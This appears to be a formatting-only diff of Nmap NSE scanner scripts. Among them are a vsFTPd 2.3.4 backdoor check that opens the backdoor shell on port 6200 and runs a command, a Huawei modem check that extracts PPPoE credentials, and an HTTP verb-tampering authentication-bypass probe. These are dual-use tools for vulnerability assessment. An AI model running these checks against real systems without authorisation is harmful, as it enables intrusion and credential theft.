if (bit.band(string.byte(result, 4), 0x0F) ~= 0x00) then
|
if (bit.band(string.byte(result, 4), 0x0F) ~= 0x00) then
|
||||||
if (nmap.verbosity() >= 1 or nmap.debugging() >= 1) then
|
if (nmap.verbosity() >= 1 or nmap.debugging() >= 1) then
|
||||||
return "ERROR: Server failure"
|
return "ERROR: Server failure"
|
||||||
else
|
else
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Check for two Answer RRs and 1 Authority RR
|
-- Check for two Answer RRs and 1 Authority RR
|
||||||
if (string.byte(result, 5) ~= 0x00
|
if (string.byte(result, 5) ~= 0x00
|
||||||
or string.byte(result, 6) ~= 0x01
|
or string.byte(result, 6) ~= 0x01
|
||||||
or string.byte(result, 7) ~= 0x00
|
or string.byte(result, 7) ~= 0x00
|
||||||
or string.byte(result, 8) ~= 0x02) then
|
or string.byte(result, 8) ~= 0x02) then
|
||||||
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
|
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
|
||||||
return "ERROR: Response did not include expected answers"
|
return "ERROR: Response did not include expected answers"
|
||||||
else
|
else
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
-- We need a minimum of 128 bytes...
|
-- We need a minimum of 128 bytes...
|
||||||
if (#result < 128) then
|
if (#result < 128) then
|
||||||
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
|
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
|
||||||
return "ERROR: Truncated response"
|
return "ERROR: Truncated response"
|
||||||
else
|
else
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Here is the really fragile part. If the DNS response changes
|
-- Here is the really fragile part. If the DNS response changes
|
||||||
-- in any way, this won't work and will fail.
|
-- in any way, this won't work and will fail.
|
||||||
-- Jump to second answer and check to see that it is TXT, IN
|
-- Jump to second answer and check to see that it is TXT, IN
|
||||||
-- then grab the length and display that text...
|
-- then grab the length and display that text...
|
||||||
|
|
||||||
-- Check for TXT
|
-- Check for TXT
|
||||||
if (string.byte(result, 118) ~= 0x00
|
if (string.byte(result, 118) ~= 0x00
|
||||||
or string.byte(result, 119) ~= 0x10)
|
or string.byte(result, 119) ~= 0x10)
|
||||||
then
|
then
|
||||||
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
|
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
|
||||||
return "ERROR: Answer record not of type TXT"
|
return "ERROR: Answer record not of type TXT"
|
||||||
else
|
else
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Check for IN
|
-- Check for IN
|
||||||
if (string.byte(result, 120) ~= 0x00
|
if (string.byte(result, 120) ~= 0x00
|
||||||
or string.byte(result, 121) ~= 0x01) then
|
or string.byte(result, 121) ~= 0x01) then
|
||||||
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
|
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
|
||||||
return "ERROR: Answer record not of type IN"
|
return "ERROR: Answer record not of type IN"
|
||||||
else
|
else
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Get TXT length
|
-- Get TXT length
|
||||||
local txtlen = string.byte(result, 128)
|
local txtlen = string.byte(result, 128)
|
||||||
|
|
||||||
-- We now need a minimum of 128 + txtlen bytes + 1...
|
-- We now need a minimum of 128 + txtlen bytes + 1...
|
||||||
if (#result < 128 + txtlen) then
|
if (#result < 128 + txtlen) then
|
||||||
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
|
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
|
||||||
return "ERROR: Truncated response"
|
return "ERROR: Truncated response"
|
||||||
else
|
else
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
-- GET TXT record
|
-- GET TXT record
|
||||||
local txtrd = string.sub(result, 129, 128 + txtlen)
|
local txtrd = string.sub(result, 129, 128 + txtlen)
|
||||||
|
|
||||||
return txtrd
|
return txtrd
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -85,7 +85,7 @@ local function check_backdoor(host, shell_cmd, vuln)
|
|||||||
local status, ret = socket:connect(host, 6200, "tcp")
|
local status, ret = socket:connect(host, 6200, "tcp")
|
||||||
if not status then
|
if not status then
|
||||||
stdnse.print_debug(3, "%s: can't connect to tcp port 6200: NOT VULNERABLE",
|
stdnse.print_debug(3, "%s: can't connect to tcp port 6200: NOT VULNERABLE",
|
||||||
SCRIPT_NAME)
|
SCRIPT_NAME)
|
||||||
vuln.state = vulns.STATE.NOT_VULN
|
vuln.state = vulns.STATE.NOT_VULN
|
||||||
return finish_ftp(socket, true)
|
return finish_ftp(socket, true)
|
||||||
end
|
end
|
||||||
@@ -98,14 +98,14 @@ local function check_backdoor(host, shell_cmd, vuln)
|
|||||||
status, ret = socket:receive_lines(1)
|
status, ret = socket:receive_lines(1)
|
||||||
if not status then
|
if not status then
|
||||||
return finish_ftp(socket, false,
|
return finish_ftp(socket, false,
|
||||||
string.format("failed to read shell command results: %s",
|
string.format("failed to read shell command results: %s",
|
||||||
ret))
|
ret))
|
||||||
end
|
end
|
||||||
|
|
||||||
if not ret:match("uid=") then
|
if not ret:match("uid=") then
|
||||||
stdnse.print_debug(3,
|
stdnse.print_debug(3,
|
||||||
"%s: service on port 6200 is not the vsFTPd backdoor: NOT VULNERABLE",
|
"%s: service on port 6200 is not the vsFTPd backdoor: NOT VULNERABLE",
|
||||||
SCRIPT_NAME)
|
SCRIPT_NAME)
|
||||||
vuln.state = vulns.STATE.NOT_VULN
|
vuln.state = vulns.STATE.NOT_VULN
|
||||||
return finish_ftp(socket, true)
|
return finish_ftp(socket, true)
|
||||||
else
|
else
|
||||||
@@ -117,8 +117,8 @@ local function check_backdoor(host, shell_cmd, vuln)
|
|||||||
status, ret = socket:receive_lines(1)
|
status, ret = socket:receive_lines(1)
|
||||||
if not status then
|
if not status then
|
||||||
return finish_ftp(socket, false,
|
return finish_ftp(socket, false,
|
||||||
string.format("failed to read shell commands results: %s",
|
string.format("failed to read shell commands results: %s",
|
||||||
ret))
|
ret))
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
socket:send("exit\n");
|
socket:send("exit\n");
|
||||||
@@ -127,10 +127,10 @@ local function check_backdoor(host, shell_cmd, vuln)
|
|||||||
|
|
||||||
vuln.state = vulns.STATE.EXPLOIT
|
vuln.state = vulns.STATE.EXPLOIT
|
||||||
table.insert(vuln.exploit_results,
|
table.insert(vuln.exploit_results,
|
||||||
string.format("Shell command: %s", shell_cmd))
|
string.format("Shell command: %s", shell_cmd))
|
||||||
local result = string.gsub(ret, "^%s*(.-)\n*$", "%1")
|
local result = string.gsub(ret, "^%s*(.-)\n*$", "%1")
|
||||||
table.insert(vuln.exploit_results,
|
table.insert(vuln.exploit_results,
|
||||||
string.format("Results: %s", result))
|
string.format("Results: %s", result))
|
||||||
|
|
||||||
return finish_ftp(socket, true)
|
return finish_ftp(socket, true)
|
||||||
end
|
end
|
||||||
@@ -138,7 +138,7 @@ end
|
|||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
-- Get script arguments.
|
-- Get script arguments.
|
||||||
local cmd = stdnse.get_script_args("ftp-vsftpd-backdoor.cmd") or
|
local cmd = stdnse.get_script_args("ftp-vsftpd-backdoor.cmd") or
|
||||||
stdnse.get_script_args("exploit.cmd") or CMD_SHELL_ID
|
stdnse.get_script_args("exploit.cmd") or CMD_SHELL_ID
|
||||||
|
|
||||||
local vsftp_vuln = {
|
local vsftp_vuln = {
|
||||||
title = "vsFTPd version 2.3.4 backdoor",
|
title = "vsFTPd version 2.3.4 backdoor",
|
||||||
@@ -146,8 +146,8 @@ action = function(host, port)
|
|||||||
description = [[
|
description = [[
|
||||||
vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.]],
|
vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.]],
|
||||||
references = {
|
references = {
|
||||||
'http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html',
|
'http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html',
|
||||||
'https://dev.metasploit.com/redmine/projects/framework/repository/revisions/13093',
|
'https://dev.metasploit.com/redmine/projects/framework/repository/revisions/13093',
|
||||||
},
|
},
|
||||||
dates = {
|
dates = {
|
||||||
disclosure = {year = '2011', month = '07', day = '03'},
|
disclosure = {year = '2011', month = '07', day = '03'},
|
||||||
@@ -164,11 +164,11 @@ vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.]],
|
|||||||
|
|
||||||
-- Create socket.
|
-- Create socket.
|
||||||
local sock, err = ftp.connect(host, port,
|
local sock, err = ftp.connect(host, port,
|
||||||
{recv_before = false,
|
{recv_before = false,
|
||||||
timeout = 8000})
|
timeout = 8000})
|
||||||
if not sock then
|
if not sock then
|
||||||
stdnse.print_debug(1, "%s: can't connect: %s",
|
stdnse.print_debug(1, "%s: can't connect: %s",
|
||||||
SCRIPT_NAME, err)
|
SCRIPT_NAME, err)
|
||||||
return nil
|
return nil
|
||||||
end
|
end
|
||||||
|
|
||||||
@@ -177,7 +177,7 @@ vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.]],
|
|||||||
local code, message = ftp.read_reply(buffer)
|
local code, message = ftp.read_reply(buffer)
|
||||||
if not code then
|
if not code then
|
||||||
stdnse.print_debug(1, "%s: can't read banner: %s",
|
stdnse.print_debug(1, "%s: can't read banner: %s",
|
||||||
SCRIPT_NAME, message)
|
SCRIPT_NAME, message)
|
||||||
sock:close()
|
sock:close()
|
||||||
return nil
|
return nil
|
||||||
end
|
end
|
||||||
@@ -185,7 +185,7 @@ vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.]],
|
|||||||
status, ret = sock:send(CMD_FTP .. "\r\n")
|
status, ret = sock:send(CMD_FTP .. "\r\n")
|
||||||
if not status then
|
if not status then
|
||||||
stdnse.print_debug(1, "%s: failed to send privilege escalation command: %s",
|
stdnse.print_debug(1, "%s: failed to send privilege escalation command: %s",
|
||||||
SCRIPT_NAME, ret)
|
SCRIPT_NAME, ret)
|
||||||
return nil
|
return nil
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|||||||
@@ -54,25 +54,25 @@ portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open
|
|||||||
|
|
||||||
local function loadFingerprints(filename, cat)
|
local function loadFingerprints(filename, cat)
|
||||||
|
|
||||||
local file, fingerprints
|
local file, fingerprints
|
||||||
|
|
||||||
-- Find the file
|
-- Find the file
|
||||||
filename = nmap.fetchfile('nselib/data/' .. filename) or filename
|
filename = nmap.fetchfile('nselib/data/' .. filename) or filename
|
||||||
|
|
||||||
-- Load the file
|
-- Load the file
|
||||||
stdnse.print_debug(1, "%s: Loading fingerprints: %s", SCRIPT_NAME, filename)
|
stdnse.print_debug(1, "%s: Loading fingerprints: %s", SCRIPT_NAME, filename)
|
||||||
local env = setmetatable({fingerprints = {}}, {__index = _G});
|
local env = setmetatable({fingerprints = {}}, {__index = _G});
|
||||||
file = loadfile(filename, "t", env)
|
file = loadfile(filename, "t", env)
|
||||||
|
|
||||||
if( not(file) ) then
|
if( not(file) ) then
|
||||||
stdnse.print_debug(1, "%s: Couldn't load the file: %s", SCRIPT_NAME, filename)
|
stdnse.print_debug(1, "%s: Couldn't load the file: %s", SCRIPT_NAME, filename)
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
file()
|
file()
|
||||||
fingerprints = env.tools
|
fingerprints = env.tools
|
||||||
|
|
||||||
return fingerprints
|
return fingerprints
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
@@ -92,10 +92,10 @@ action = function(host, port)
|
|||||||
end
|
end
|
||||||
|
|
||||||
local crawler = httpspider.Crawler:new(host, port, '/', { scriptname = SCRIPT_NAME,
|
local crawler = httpspider.Crawler:new(host, port, '/', { scriptname = SCRIPT_NAME,
|
||||||
maxpagecount = 40,
|
maxpagecount = 40,
|
||||||
maxdepth = -1,
|
maxdepth = -1,
|
||||||
withinhost = 1
|
withinhost = 1
|
||||||
})
|
})
|
||||||
|
|
||||||
if rapid then
|
if rapid then
|
||||||
return "Couldn't determine the underlying framework or CMS. Try turning off 'rapid' mode."
|
return "Couldn't determine the underlying framework or CMS. Try turning off 'rapid' mode."
|
||||||
|
|||||||
@@ -49,36 +49,36 @@ categories = {"default", "discovery", "safe"}
|
|||||||
|
|
||||||
-- helper function
|
-- helper function
|
||||||
local follow_redirects = function(host, port, path, n)
|
local follow_redirects = function(host, port, path, n)
|
||||||
local pattern = "^[hH][tT][tT][pP]/1.[01] 30[12]"
|
local pattern = "^[hH][tT][tT][pP]/1.[01] 30[12]"
|
||||||
local response = http.get(host, port, path)
|
local response = http.get(host, port, path)
|
||||||
|
|
||||||
while (response['status-line'] or ""):match(pattern) and n > 0 do
|
while (response['status-line'] or ""):match(pattern) and n > 0 do
|
||||||
n = n - 1
|
n = n - 1
|
||||||
local loc = response.header['location']
|
local loc = response.header['location']
|
||||||
response = http.get_url(loc)
|
response = http.get_url(loc)
|
||||||
end
|
end
|
||||||
|
|
||||||
return response
|
return response
|
||||||
end
|
end
|
||||||
|
|
||||||
portrule = shortport.http
|
portrule = shortport.http
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
local response, loc, generator
|
local response, loc, generator
|
||||||
local path = stdnse.get_script_args('http-generator.path') or '/'
|
local path = stdnse.get_script_args('http-generator.path') or '/'
|
||||||
local redirects = tonumber(stdnse.get_script_args('http-generator.redirects')) or 3
|
local redirects = tonumber(stdnse.get_script_args('http-generator.redirects')) or 3
|
||||||
|
|
||||||
-- Worst case: <meta name=Generator content="Microsoft Word 11">
|
-- Worst case: <meta name=Generator content="Microsoft Word 11">
|
||||||
local pattern = '<meta name="?generator"? content="([^\"]*)" ?/?>'
|
local pattern = '<meta name="?generator"? content="([^\"]*)" ?/?>'
|
||||||
|
|
||||||
-- make pattern case-insensitive
|
-- make pattern case-insensitive
|
||||||
pattern = pattern:gsub("%a", function (c)
|
pattern = pattern:gsub("%a", function (c)
|
||||||
return string.format("[%s%s]", string.lower(c),
|
return string.format("[%s%s]", string.lower(c),
|
||||||
string.upper(c))
|
string.upper(c))
|
||||||
end)
|
end)
|
||||||
|
|
||||||
response = follow_redirects(host, port, path, redirects)
|
response = follow_redirects(host, port, path, redirects)
|
||||||
if ( response and response.body ) then
|
if ( response and response.body ) then
|
||||||
return response.body:match(pattern)
|
return response.body:match(pattern)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -65,20 +65,20 @@ portrule = shortport.http
|
|||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
local vuln = {
|
local vuln = {
|
||||||
title = 'Remote credential and information disclosure in modems Huawei HG5XX',
|
title = 'Remote credential and information disclosure in modems Huawei HG5XX',
|
||||||
state = vulns.STATE.NOT_VULN,
|
state = vulns.STATE.NOT_VULN,
|
||||||
description = [[
|
description = [[
|
||||||
Modems Huawei 530x, 520x and possibly others are vulnerable to remote credential and information disclosure.
|
Modems Huawei 530x, 520x and possibly others are vulnerable to remote credential and information disclosure.
|
||||||
Attackers can query the URIs "/Listadeparametros.html" and "/wanfun.js" to extract sensitive information
|
Attackers can query the URIs "/Listadeparametros.html" and "/wanfun.js" to extract sensitive information
|
||||||
including PPPoE credentials, firmware version, model, gateway, dns servers and active connections among other values.]],
|
including PPPoE credentials, firmware version, model, gateway, dns servers and active connections among other values.]],
|
||||||
references = {
|
references = {
|
||||||
'http://routerpwn.com/#huawei',
|
'http://routerpwn.com/#huawei',
|
||||||
'http://websec.ca/advisories/view/Huawei-HG520c-3.10.18.x-information-disclosure'
|
'http://websec.ca/advisories/view/Huawei-HG520c-3.10.18.x-information-disclosure'
|
||||||
},
|
},
|
||||||
dates = {
|
dates = {
|
||||||
disclosure = {year = '2011', month = '01', day = '1'},
|
disclosure = {year = '2011', month = '01', day = '1'},
|
||||||
},
|
},
|
||||||
}
|
}
|
||||||
|
|
||||||
-- Identify servers that answer 200 to invalid HTTP requests and exit as these would invalidate the tests
|
-- Identify servers that answer 200 to invalid HTTP requests and exit as these would invalidate the tests
|
||||||
local _, http_status, _ = http.identify_404(host,port)
|
local _, http_status, _ = http.identify_404(host,port)
|
||||||
@@ -103,8 +103,8 @@ including PPPoE credentials, firmware version, model, gateway, dns servers and a
|
|||||||
local _, _, ssid = string.find(open_session.body, 'Nombre de Red Inal\195\161mbrica %(SSID%):</td><TD class=tablerowvalue>\n(.-)</td></tr><tr>')
|
local _, _, ssid = string.find(open_session.body, 'Nombre de Red Inal\195\161mbrica %(SSID%):</td><TD class=tablerowvalue>\n(.-)</td></tr><tr>')
|
||||||
local _, _, encryption = string.find(open_session.body, 'Encriptaci\195\179n Activada %(0: No, 1:S\195\173%):</td><TD class=tablerowvalue>\n(.-)</td></tr><tr>')
|
local _, _, encryption = string.find(open_session.body, 'Encriptaci\195\179n Activada %(0: No, 1:S\195\173%):</td><TD class=tablerowvalue>\n(.-)</td></tr><tr>')
|
||||||
local info = string.format("\nModel:%s\nFirmware version:%s\nExternal IP:%s\nGateway IP:%s\nDNS 1:%s\nDNS 2:%s\n"..
|
local info = string.format("\nModel:%s\nFirmware version:%s\nExternal IP:%s\nGateway IP:%s\nDNS 1:%s\nDNS 2:%s\n"..
|
||||||
"Network segment:%s\nActive ethernet connections:%s\nActive wireless connections:%s\nBSSID:%s\nWireless Encryption (Boolean):%s\nPPPoE username:%s\n",
|
"Network segment:%s\nActive ethernet connections:%s\nActive wireless connections:%s\nBSSID:%s\nWireless Encryption (Boolean):%s\nPPPoE username:%s\n",
|
||||||
model, firmware_version, ip, gateway, dns1, dns2, network_segment, active_ethernet, active_wireless, ssid, encryption, pppoe_user)
|
model, firmware_version, ip, gateway, dns1, dns2, network_segment, active_ethernet, active_wireless, ssid, encryption, pppoe_user)
|
||||||
--Checks if the username string was extracted. If its null, the modem is not vulnerable and we should exit.
|
--Checks if the username string was extracted. If its null, the modem is not vulnerable and we should exit.
|
||||||
if pppoe_user then
|
if pppoe_user then
|
||||||
vuln.state = vulns.STATE.EXPLOIT
|
vuln.state = vulns.STATE.EXPLOIT
|
||||||
|
|||||||
@@ -85,9 +85,9 @@ local function probe_http_verbs(host, port, uri)
|
|||||||
--With a random generated verb we look for 400 and 501 status
|
--With a random generated verb we look for 400 and 501 status
|
||||||
local random_verb_req = http.generic_request(host, port, stdnse.generate_random_string(4), uri)
|
local random_verb_req = http.generic_request(host, port, stdnse.generate_random_string(4), uri)
|
||||||
local retcodes = {
|
local retcodes = {
|
||||||
[400] = true, -- Bad Request
|
[400] = true, -- Bad Request
|
||||||
[401] = true, -- Authentication needed
|
[401] = true, -- Authentication needed
|
||||||
[501] = true, -- Invalid method
|
[501] = true, -- Invalid method
|
||||||
}
|
}
|
||||||
if random_verb_req and not retcodes[random_verb_req.status] then
|
if random_verb_req and not retcodes[random_verb_req.status] then
|
||||||
return true, "GENERIC"
|
return true, "GENERIC"
|
||||||
@@ -103,20 +103,20 @@ action = function(host, port)
|
|||||||
local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME..".timeout"))
|
local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME..".timeout"))
|
||||||
timeout = (timeout or 10) * 1000
|
timeout = (timeout or 10) * 1000
|
||||||
local vuln = {
|
local vuln = {
|
||||||
title = 'Authentication bypass by HTTP verb tampering',
|
title = 'Authentication bypass by HTTP verb tampering',
|
||||||
state = vulns.STATE.NOT_VULN,
|
state = vulns.STATE.NOT_VULN,
|
||||||
description = [[
|
description = [[
|
||||||
This web server contains password protected resources vulnerable to authentication bypass
|
This web server contains password protected resources vulnerable to authentication bypass
|
||||||
vulnerabilities via HTTP verb tampering. This is often found in web servers that only limit access to the
|
vulnerabilities via HTTP verb tampering. This is often found in web servers that only limit access to the
|
||||||
common HTTP methods and in misconfigured .htaccess files.
|
common HTTP methods and in misconfigured .htaccess files.
|
||||||
]],
|
]],
|
||||||
references = {
|
references = {
|
||||||
'http://www.mkit.com.ar/labs/htexploit/',
|
'http://www.mkit.com.ar/labs/htexploit/',
|
||||||
'http://www.imperva.com/resources/glossary/http_verb_tampering.html',
|
'http://www.imperva.com/resources/glossary/http_verb_tampering.html',
|
||||||
'https://www.owasp.org/index.php/Testing_for_HTTP_Methods_and_XST_%28OWASP-CM-008%29',
|
'https://www.owasp.org/index.php/Testing_for_HTTP_Methods_and_XST_%28OWASP-CM-008%29',
|
||||||
'http://capec.mitre.org/data/definitions/274.html'
|
'http://capec.mitre.org/data/definitions/274.html'
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
|
local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
|
||||||
|
|
||||||
-- If paths is not set, crawl the web server looking for http 401 status
|
-- If paths is not set, crawl the web server looking for http 401 status
|
||||||
@@ -124,15 +124,15 @@ vulnerabilities via HTTP verb tampering. This is often found in web servers that
|
|||||||
local crawler = httpspider.Crawler:new(host, port, uri, { scriptname = SCRIPT_NAME } )
|
local crawler = httpspider.Crawler:new(host, port, uri, { scriptname = SCRIPT_NAME } )
|
||||||
crawler:set_timeout(timeout)
|
crawler:set_timeout(timeout)
|
||||||
|
|
||||||
while(true) do
|
while(true) do
|
||||||
local status, r = crawler:crawl()
|
local status, r = crawler:crawl()
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
if ( r.err ) then
|
if ( r.err ) then
|
||||||
return stdnse.format_output(true, "ERROR: %s", r.reason)
|
return stdnse.format_output(true, "ERROR: %s", r.reason)
|
||||||
else
|
else
|
||||||
break
|
break
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
end
|
||||||
if r.response.status == 401 then
|
if r.response.status == 401 then
|
||||||
stdnse.print_debug(2, "%s:%s is protected! Let's try some verb tampering...", SCRIPT_NAME, tostring(r.url))
|
stdnse.print_debug(2, "%s:%s is protected! Let's try some verb tampering...", SCRIPT_NAME, tostring(r.url))
|
||||||
local parsed = url.parse(tostring(r.url))
|
local parsed = url.parse(tostring(r.url))
|
||||||
@@ -144,7 +144,7 @@ vulnerabilities via HTTP verb tampering. This is often found in web servers that
|
|||||||
end
|
end
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
-- Paths were set, check them and exit. No crawling here.
|
-- Paths were set, check them and exit. No crawling here.
|
||||||
|
|
||||||
-- convert single string entry to table
|
-- convert single string entry to table
|
||||||
if ( type(paths) == "string" ) then
|
if ( type(paths) == "string" ) then
|
||||||
@@ -156,10 +156,10 @@ vulnerabilities via HTTP verb tampering. This is often found in web servers that
|
|||||||
|
|
||||||
if path_req.status == 401 then
|
if path_req.status == 401 then
|
||||||
local probe_status, probe_type = probe_http_verbs(host, port, path)
|
local probe_status, probe_type = probe_http_verbs(host, port, path)
|
||||||
if probe_status then
|
if probe_status then
|
||||||
stdnse.print_debug(1, "%s:Vulnerable URI %s", SCRIPT_NAME, path)
|
stdnse.print_debug(1, "%s:Vulnerable URI %s", SCRIPT_NAME, path)
|
||||||
table.insert(vuln_uris, path..string.format(" [%s]", probe_type))
|
table.insert(vuln_uris, path..string.format(" [%s]", probe_type))
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -34,27 +34,27 @@ local string = require "string"
|
|||||||
|
|
||||||
getLastLoc = function(host, port, useragent)
|
getLastLoc = function(host, port, useragent)
|
||||||
|
|
||||||
local options
|
local options
|
||||||
|
|
||||||
options = {header={}, no_cache=true, redirect_ok=function(host,port)
|
options = {header={}, no_cache=true, redirect_ok=function(host,port)
|
||||||
local c = 3
|
local c = 3
|
||||||
return function(url)
|
return function(url)
|
||||||
if ( c==0 ) then return false end
|
if ( c==0 ) then return false end
|
||||||
c = c - 1
|
c = c - 1
|
||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
end }
|
end }
|
||||||
|
|
||||||
|
|
||||||
options['header']['User-Agent'] = useragent
|
options['header']['User-Agent'] = useragent
|
||||||
|
|
||||||
local response = http.get(host, port, '/', options)
|
local response = http.get(host, port, '/', options)
|
||||||
|
|
||||||
if response.location then
|
if response.location then
|
||||||
return response.location[#response.location] or false
|
return response.location[#response.location] or false
|
||||||
end
|
end
|
||||||
|
|
||||||
return false
|
return false
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
@@ -62,27 +62,27 @@ portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open
|
|||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
local newtargets = stdnse.get_script_args("newtargets") or nil
|
local newtargets = stdnse.get_script_args("newtargets") or nil
|
||||||
|
|
||||||
-- We don't crawl any site. We initialize a crawler to use its iswithinhost method.
|
-- We don't crawl any site. We initialize a crawler to use its iswithinhost method.
|
||||||
local crawler = httpspider.Crawler:new(host, port, '/', { scriptname = SCRIPT_NAME } )
|
local crawler = httpspider.Crawler:new(host, port, '/', { scriptname = SCRIPT_NAME } )
|
||||||
|
|
||||||
local loc = getLastLoc(host, port, "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17")
|
local loc = getLastLoc(host, port, "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17")
|
||||||
local mobloc = getLastLoc(host, port, "Mozilla/5.0 (Linux; U; Android 4.0.3; ko-kr; LG-L160L Build/IML74K) AppleWebkit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30")
|
local mobloc = getLastLoc(host, port, "Mozilla/5.0 (Linux; U; Android 4.0.3; ko-kr; LG-L160L Build/IML74K) AppleWebkit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30")
|
||||||
|
|
||||||
-- If the mobile browser request is redirected to a different page, that must be the mobile version's page.
|
-- If the mobile browser request is redirected to a different page, that must be the mobile version's page.
|
||||||
if loc ~= mobloc then
|
if loc ~= mobloc then
|
||||||
local msg = "Found mobile version: " .. mobloc
|
local msg = "Found mobile version: " .. mobloc
|
||||||
local mobhost = http.parse_url(mobloc)
|
local mobhost = http.parse_url(mobloc)
|
||||||
if not crawler:iswithinhost(mobhost.host) then
|
if not crawler:iswithinhost(mobhost.host) then
|
||||||
msg = msg .. " (Redirected to a different host)"
|
msg = msg .. " (Redirected to a different host)"
|
||||||
if newtargets then
|
if newtargets then
|
||||||
target.add(mobhost.host)
|
target.add(mobhost.host)
|
||||||
end
|
end
|
||||||
end
|
|
||||||
return msg
|
|
||||||
end
|
end
|
||||||
|
return msg
|
||||||
|
end
|
||||||
|
|
||||||
return "No mobile version detected."
|
return "No mobile version detected."
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -56,29 +56,29 @@ local string = require "string"
|
|||||||
|
|
||||||
getLastLoc = function(host, port, useragent)
|
getLastLoc = function(host, port, useragent)
|
||||||
|
|
||||||
local options
|
local options
|
||||||
|
|
||||||
options = {header={}, no_cache=true, redirect_ok=function(host,port)
|
options = {header={}, no_cache=true, redirect_ok=function(host,port)
|
||||||
local c = 3
|
local c = 3
|
||||||
return function(url)
|
return function(url)
|
||||||
if ( c==0 ) then return false end
|
if ( c==0 ) then return false end
|
||||||
c = c - 1
|
c = c - 1
|
||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
end }
|
end }
|
||||||
|
|
||||||
|
|
||||||
options['header']['User-Agent'] = useragent
|
options['header']['User-Agent'] = useragent
|
||||||
|
|
||||||
stdnse.print_debug(2, "Making a request with User-Agent: " .. useragent)
|
stdnse.print_debug(2, "Making a request with User-Agent: " .. useragent)
|
||||||
|
|
||||||
local response = http.get(host, port, '/', options)
|
local response = http.get(host, port, '/', options)
|
||||||
|
|
||||||
if response.location then
|
if response.location then
|
||||||
return response.location[#response.location] or false
|
return response.location[#response.location] or false
|
||||||
end
|
end
|
||||||
|
|
||||||
return false
|
return false
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
@@ -86,70 +86,70 @@ portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open
|
|||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
local moreagents = stdnse.get_script_args("http-useragent-tester.useragents") or nil
|
local moreagents = stdnse.get_script_args("http-useragent-tester.useragents") or nil
|
||||||
local newtargets = stdnse.get_script_args("newtargets") or nil
|
local newtargets = stdnse.get_script_args("newtargets") or nil
|
||||||
|
|
||||||
-- We don't crawl any site. We initialize a crawler to use its iswithinhost method.
|
-- We don't crawl any site. We initialize a crawler to use its iswithinhost method.
|
||||||
local crawler = httpspider.Crawler:new(host, port, '/', { scriptname = SCRIPT_NAME } )
|
local crawler = httpspider.Crawler:new(host, port, '/', { scriptname = SCRIPT_NAME } )
|
||||||
|
|
||||||
local HTTPlibs = {"libwww",
|
local HTTPlibs = {"libwww",
|
||||||
"lwp-trivial",
|
"lwp-trivial",
|
||||||
"libcurl-agent/1.0",
|
"libcurl-agent/1.0",
|
||||||
"PHP/",
|
"PHP/",
|
||||||
"Python-urllib/2.5",
|
"Python-urllib/2.5",
|
||||||
"GT::WWW",
|
"GT::WWW",
|
||||||
"Snoopy",
|
"Snoopy",
|
||||||
"MFC_Tear_Sample",
|
"MFC_Tear_Sample",
|
||||||
"HTTP::Lite",
|
